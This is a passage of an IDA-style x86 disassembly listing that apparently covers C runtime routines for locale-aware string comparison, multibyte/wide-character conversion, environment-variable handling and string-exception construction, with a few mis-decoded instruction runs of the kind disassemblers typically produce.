		jmp	short loc_426025
; ---------------------------------------------------------------------------


loc_42600A:				; CODE XREF: sub_425E0A+42j
					; sub_425E0A+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_426025:				; CODE XREF: sub_425E0A+ABj
					; sub_425E0A+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425E0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42602A	proc near		; CODE XREF: sub_425441+440p
					; sub_425912+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43FA58
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_4260A3
		jge	short loc_426052
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43FBB8
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_426052:				; CODE XREF: sub_42602A+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_42605D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_42605D:				; CODE XREF: sub_42602A+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_4260A3
		push	esi
		push	edi


loc_426064:				; CODE XREF: sub_42602A+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_42609C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_42608F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_42608F:				; CODE XREF: sub_42602A+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425E0A
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_42609C:				; CODE XREF: sub_42602A+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_426064
		pop	edi
		pop	esi


loc_4260A3:				; CODE XREF: sub_42602A+14j
					; sub_42602A+36j
		pop	ebx
		leave
		retn
sub_42602A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4260A6	proc near		; CODE XREF: sub_425D17+5Ep
					; sub_426557+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_4260B3
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4260B3:				; CODE XREF: sub_4260A6+7j
		push	ds:dword_4DF304
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	ds:dword_4DF524
		call	sub_426153
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4260E0
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4260E0:				; CODE XREF: sub_4260A6+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_4260A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260E5	proc near		; CODE XREF: sub_425D17+1Ep
					; sub_4263D0+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_4DDEE4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_426146
		mov	ebx, ds:dword_428180


loc_4260FE:				; CODE XREF: sub_4260E5+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_42614E
		push	ebp
		call	sub_41B6C5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_42614E
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_42614E
		push	edi
		push	[esp+18h+var_4]
		call	sub_4263D0
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_4260FE


loc_426146:				; CODE XREF: sub_4260E5+11j
		xor	eax, eax


loc_426148:				; CODE XREF: sub_4260E5+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42614E:				; CODE XREF: sub_4260E5+29j
					; sub_4260E5+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_426148
sub_4260E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426153	proc near		; CODE XREF: sub_4260A6+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428CF0
		push	offset sub_4237BC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	ds:dword_4DE1C8, ebx
		push	1
		pop	edi
		jnz	short loc_4261C6
		push	edi
		mov	eax, offset dword_428940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_428008	; CompareStringW
		test	eax, eax
		jz	short loc_4261A3
		mov	ds:dword_4DE1C8, edi
		jmp	short loc_4261C6
; ---------------------------------------------------------------------------


loc_4261A3:				; CODE XREF: sub_426153+46j
		push	edi
		mov	eax, offset dword_4CDAB0
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_42800C	; CompareStringA
		test	eax, eax
		jz	loc_4263BC
		mov	ds:dword_4DE1C8, 2


loc_4261C6:				; CODE XREF: sub_426153+31j
					; sub_426153+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_4261DD
		push	esi
		push	[ebp+arg_8]
		call	sub_422FC7
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_4261DD:				; CODE XREF: sub_426153+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_4261F2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_422FC7
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_4261F2:				; CODE XREF: sub_426153+8Dj
		mov	eax, ds:dword_4DE1C8
		cmp	eax, 2
		jnz	short loc_426217
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42800C	; CompareStringA
		jmp	loc_4263BE
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_426153+A7j
		cmp	eax, edi
		jnz	loc_4263BC
		cmp	[ebp+arg_18], ebx
		jnz	short loc_42622C
		mov	eax, ds:dword_4DDF84
		mov	[ebp+arg_18], eax


loc_42622C:				; CODE XREF: sub_426153+CFj
		cmp	esi, ebx
		jz	short loc_426239
		cmp	[ebp+arg_14], ebx
		jnz	loc_4262D1


loc_426239:				; CODE XREF: sub_426153+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_426246


loc_42623E:				; CODE XREF: sub_426153+13Cj
					; sub_426153+16Dj
		push	2


loc_426240:				; CODE XREF: sub_426153+146j
		pop	eax
		jmp	loc_4263BE
; ---------------------------------------------------------------------------


loc_426246:				; CODE XREF: sub_426153+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426252


loc_42624B:				; CODE XREF: sub_426153+151j
					; sub_426153+159j ...
		mov	eax, edi
		jmp	loc_4263BE
; ---------------------------------------------------------------------------


loc_426252:				; CODE XREF: sub_426153+F6j
		cmp	esi, edi
		jg	short loc_426297
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 0B10000h
		xor	eax, 840FC085h
		push	ecx
		add	[eax], eax
		add	[ebx], bh
		rep jle	short loc_42629B
		cmp	[ebp+var_3C], 2
		jb	short loc_426297
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426297


loc_42627D:				; CODE XREF: sub_426153+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426297
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426291
		cmp	cl, dl
		jbe	short loc_42623E


loc_426291:				; CODE XREF: sub_426153+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42627D


loc_426297:				; CODE XREF: sub_426153+101j
					; sub_426153+120j ...
		push	3
		jmp	short loc_426240
; ---------------------------------------------------------------------------


loc_42629B:				; CODE XREF: sub_426153+119j
		cmp	[ebp+arg_14], ebx
		jle	short loc_4262D1
		cmp	[ebp+var_3C], 2
		jb	short loc_42624B
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42624B


loc_4262AE:				; CODE XREF: sub_426153+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42624B
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_4262C6
		cmp	cl, dl
		jbe	loc_42623E


loc_4262C6:				; CODE XREF: sub_426153+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4262AE
		jmp	loc_42624B
; ---------------------------------------------------------------------------


loc_4262D1:				; CODE XREF: sub_426153+E0j
					; sub_426153+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	ds:dword_428184	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_4263BC
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BD10
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426320
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_426320:				; CODE XREF: sub_426153+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_4263BC
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, ds:dword_428184
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_4263BC
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_4263BC
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BD10
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42638B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42638B:				; CODE XREF: sub_426153+224j
		cmp	edi, ebx
		jz	short loc_4263BC
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_428184	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_4263BC
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_428008	; CompareStringW
		jmp	short loc_4263BE
; ---------------------------------------------------------------------------


loc_4263BC:				; CODE XREF: sub_426153+63j
					; sub_426153+C6j ...
		xor	eax, eax


loc_4263BE:				; CODE XREF: sub_426153+BFj
					; sub_426153+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426153	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263D0	proc near		; CODE XREF: sub_4260E5+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_426434
		push	3Dh
		push	[ebp+arg_0]
		call	sub_426616
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_426434
		cmp	[ebp+arg_0], esi
		jz	short loc_426434
		mov	eax, ds:dword_4DDEDC
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, ds:dword_4DDEE0
		jnz	short loc_42641A
		push	eax
		call	sub_4265AF
		pop	ecx
		mov	ds:dword_4DDEDC, eax


loc_42641A:				; CODE XREF: sub_4263D0+3Cj
		cmp	eax, edi
		jnz	short loc_426472
		cmp	[ebp+arg_4], edi
		jz	short loc_42643C
		cmp	ds:dword_4DDEE4, edi
		jz	short loc_42643C
		call	sub_4260E5
		test	eax, eax
		jz	short loc_426472


loc_426434:				; CODE XREF: sub_4263D0+Dj
					; sub_4263D0+22j ...
		or	eax, 0FFFFFFFFh


loc_426437:				; CODE XREF: sub_4263D0+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42643C:				; CODE XREF: sub_4263D0+51j
					; sub_4263D0+59j
		cmp	ebx, edi
		jnz	loc_426550
		push	4
		call	sub_41B6C5
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_4DDEDC, eax
		jz	short loc_426434
		mov	[eax], edi
		cmp	ds:dword_4DDEE4, edi
		jnz	short loc_426472
		push	4
		call	sub_41B6C5
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_4DDEE4, eax
		jz	short loc_426434
		mov	[eax], edi


loc_426472:				; CODE XREF: sub_4263D0+4Cj
					; sub_4263D0+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, ds:dword_4DDEDC
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426557
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4264D2
		cmp	dword ptr [edi], 0
		jz	short loc_4264D2
		test	ebx, ebx
		jz	short loc_4264CA
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B2A1
		pop	ecx


loc_4264A4:				; CODE XREF: sub_4263D0+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_4264B4
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_4264A4
; ---------------------------------------------------------------------------


loc_4264B4:				; CODE XREF: sub_4263D0+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B3F2
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_426504
		jmp	short loc_4264FF
; ---------------------------------------------------------------------------


loc_4264CA:				; CODE XREF: sub_4263D0+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_426504
; ---------------------------------------------------------------------------


loc_4264D2:				; CODE XREF: sub_4263D0+BDj
					; sub_4263D0+C2j
		test	ebx, ebx
		jnz	short loc_426550
		test	esi, esi
		jge	short loc_4264DC
		neg	esi


loc_4264DC:				; CODE XREF: sub_4263D0+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B3F2
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_426434
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4264FF:				; CODE XREF: sub_4263D0+F8j
		mov	ds:dword_4DDEDC, eax


loc_426504:				; CODE XREF: sub_4263D0+F6j
					; sub_4263D0+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_426550
		push	[ebp+arg_0]
		call	sub_41B1D0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B6C5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_426550
		push	[ebp+arg_0]
		push	esi
		call	sub_41C0A0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 0B10000h
		and	al, 56h
		call	sub_41B2A1
		pop	ecx


loc_426550:				; CODE XREF: sub_4263D0+6Ej
					; sub_4263D0+104j ...
		xor	eax, eax
		jmp	loc_426437
sub_4263D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426557	proc near		; CODE XREF: sub_4263D0+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ds:dword_4DDEDC
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_426592
		mov	edi, [esp+8+arg_4]


loc_426569:				; CODE XREF: sub_426557+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_4260A6
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426588
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_4265A2
		test	al, al
		jz	short loc_4265A2


loc_426588:				; CODE XREF: sub_426557+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426569


loc_426592:				; CODE XREF: sub_426557+Cj
		mov	eax, esi
		sub	eax, ds:dword_4DDEDC
		sar	eax, 2
		neg	eax


loc_42659F:				; CODE XREF: sub_426557+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4265A2:				; CODE XREF: sub_426557+2Bj
					; sub_426557+2Fj
		mov	eax, esi
		sub	eax, ds:dword_4DDEDC
		sar	eax, 2
		jmp	short loc_42659F
sub_426557	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265AF	proc near		; CODE XREF: sub_4263D0+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_4265BE
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4265BE:				; CODE XREF: sub_4265AF+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4265D0


loc_4265C6:				; CODE XREF: sub_4265AF+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4265C6


loc_4265D0:				; CODE XREF: sub_4265AF+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B6C5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4265F1
		push	9
		call	sub_41DC49
		pop	ecx


loc_4265F1:				; CODE XREF: sub_4265AF+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4265F5:				; CODE XREF: sub_4265AF+5Bj
		test	eax, eax
		jz	short loc_42660C
		push	eax
		add	ebx, 4
		call	sub_426689
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4265F5
; ---------------------------------------------------------------------------


loc_42660C:				; CODE XREF: sub_4265AF+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_4265AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426616	proc near		; CODE XREF: sub_4263D0+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4DF31C, 0
		jnz	short loc_426631
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C1A0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426631:				; CODE XREF: sub_426616+Aj
		mov	ecx, [ebp+arg_0]


loc_426634:				; CODE XREF: sub_426616+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426677
		movzx	edx, al
		test	ds:byte_4DF421[edx], 4
		jz	short loc_426663
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_42666E
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_426672
		jmp	short loc_42666B
; ---------------------------------------------------------------------------


loc_426663:				; CODE XREF: sub_426616+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426677


loc_42666B:				; CODE XREF: sub_426616+4Bj
		inc	ecx
		jmp	short loc_426634
; ---------------------------------------------------------------------------


loc_42666E:				; CODE XREF: sub_426616+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426672:				; CODE XREF: sub_426616+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426677:				; CODE XREF: sub_426616+25j
					; sub_426616+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_426616	endp


; =============== S U B	R O U T	I N E =======================================



sub_426689	proc near		; CODE XREF: sub_4180DD+21p
					; sub_4265AF+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4266B0
		push	esi
		call	sub_41B1D0
		inc	eax
		push	eax
		call	sub_41B6C5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4266B0
		push	esi
		push	eax
		call	sub_41C0A0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4266B0:				; CODE XREF: sub_426689+7j
					; sub_426689+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426689	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4266C0	proc near		; CODE XREF: sub_40D2F4+12p
					; sub_40D34E+12p ...
		mov	eax, offset loc_4270F8
		call	sub_41CE54
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40D4F9
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_41B1D0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40D531
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_42671A
		lea	eax, [ebp-3Ch]
		push	offset dword_429078
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_428D0C
		call	sub_426B9B
		pop	esi
sub_4266C0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42671A	proc near		; CODE XREF: sub_4266C0+3Fp
					; sub_4268EC+3Fp
		mov	eax, offset loc_42710C
		call	sub_41CE54
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_43FDB4
		call	sub_426AC0
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_40D4F9
		push	ds:dword_428D38
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40D3A6
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_428D2C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_42671A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42677E	proc near		; DATA XREF: seg001:00428D10o
					; seg001:00428D30o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_42678A
		mov	eax, offset dword_4286A8

locret_42678A:				; CODE XREF: sub_42677E+5j
		retn
sub_42677E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42678B	proc near		; DATA XREF: seg001:00428D34o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426801
		lea	eax, [ebp+var_1C]
		push	offset dword_4290E8
		push	eax
		call	sub_426B9B
sub_42678B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4267A8	proc near		; CODE XREF: seg000:004267E8p
					; DATA XREF: seg001:004290ECo
		mov	eax, offset loc_427120
		call	sub_41CE54
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_428D2C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40D4F9
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_426B47
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_4267A8	endp

; ---------------------------------------------------------------------------


loc_4267E5:				; DATA XREF: seg001:off_428D2Co
		push	esi
		mov	esi, ecx
		call	sub_4267A8
		test	byte ptr [esp+8], 1
		jz	short loc_4267FB
		push	esi
		call	sub_41CE73
		pop	ecx


loc_4267FB:				; CODE XREF: seg000:004267F2j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_426801	proc near		; CODE XREF: sub_42678B+Ap
					; sub_4268D4+7p ...
		mov	eax, offset loc_427134
		call	sub_41CE54
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_426AFD
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_40D4F9
		push	ds:dword_428D38
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40D3A6
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_428D2C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_426801	endp


; =============== S U B	R O U T	I N E =======================================



sub_42685E	proc near		; CODE XREF: sub_42689B+20p
					; DATA XREF: seg001:0042907Co
		mov	eax, offset loc_427148
		call	sub_41CE54
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_428D2C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40D4F9
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_426B47
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_42685E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42689B	proc near		; DATA XREF: seg001:00428D14o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4268D4
		lea	eax, [ebp+var_1C]
		push	offset dword_429078
		push	eax
		call	sub_426B9B


loc_4268B8:				; DATA XREF: seg001:off_428D0Co
		push	esi
		mov	esi, ecx
		call	sub_42685E
		test	[esp+20h+var_18], 1
		jz	short loc_4268CE
		push	esi
		call	sub_41CE73
		pop	ecx


loc_4268CE:				; CODE XREF: sub_42689B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_42689B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4268D4	proc near		; CODE XREF: sub_42689B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_426801
		mov	dword ptr [esi], offset	off_428D0C
		mov	eax, esi
		pop	esi
		retn	4
sub_4268D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268EC	proc near		; CODE XREF: sub_40D3A6+13p
					; sub_40D566+Ep
		mov	eax, offset loc_42715C
		call	sub_41CE54
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40D4F9
